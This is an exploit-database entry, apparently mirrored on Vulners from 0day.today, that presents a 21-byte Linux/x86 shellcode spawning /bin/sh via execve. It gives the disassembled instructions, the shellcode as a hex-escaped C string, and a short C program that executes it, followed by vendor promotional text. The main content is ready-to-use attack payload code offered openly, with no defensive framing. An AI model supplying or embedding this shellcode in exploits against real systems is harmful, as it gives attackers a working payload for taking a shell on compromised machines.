Lucene search
K

linux/x86 - execve /bin/sh shellcode - 21 bytes

🗓️ 14 Jun 2015 00:00:00Reported by b3mb4mType 
zdt
 zdt
🔗 0day.today👁 31 Views

linux/x86 execve /bin/sh shellcode - 21 byte

Code
Linux/x86 execve /bin/sh shellcode 21 bytes
 
 
#Greetz : KnocKout,curtis,Bomberman(Leader)
#Author : B3mB4m
 
Disassembly of section .text:
 
08048060 <.text>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c2                 mov    %eax,%edx
 8048071: b0 0b                 mov    $0xb,%al
 8048073: cd 80                 int    $0x80
 
 
#include <stdio.h>
#include <string.h>
  
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80";
 
int main(void){
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  (*(void(*)()) shellcode)();}
   
# Length: 21 PWNED !

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2015 00:00Current
7.4High risk
Vulners AI Score7.4
31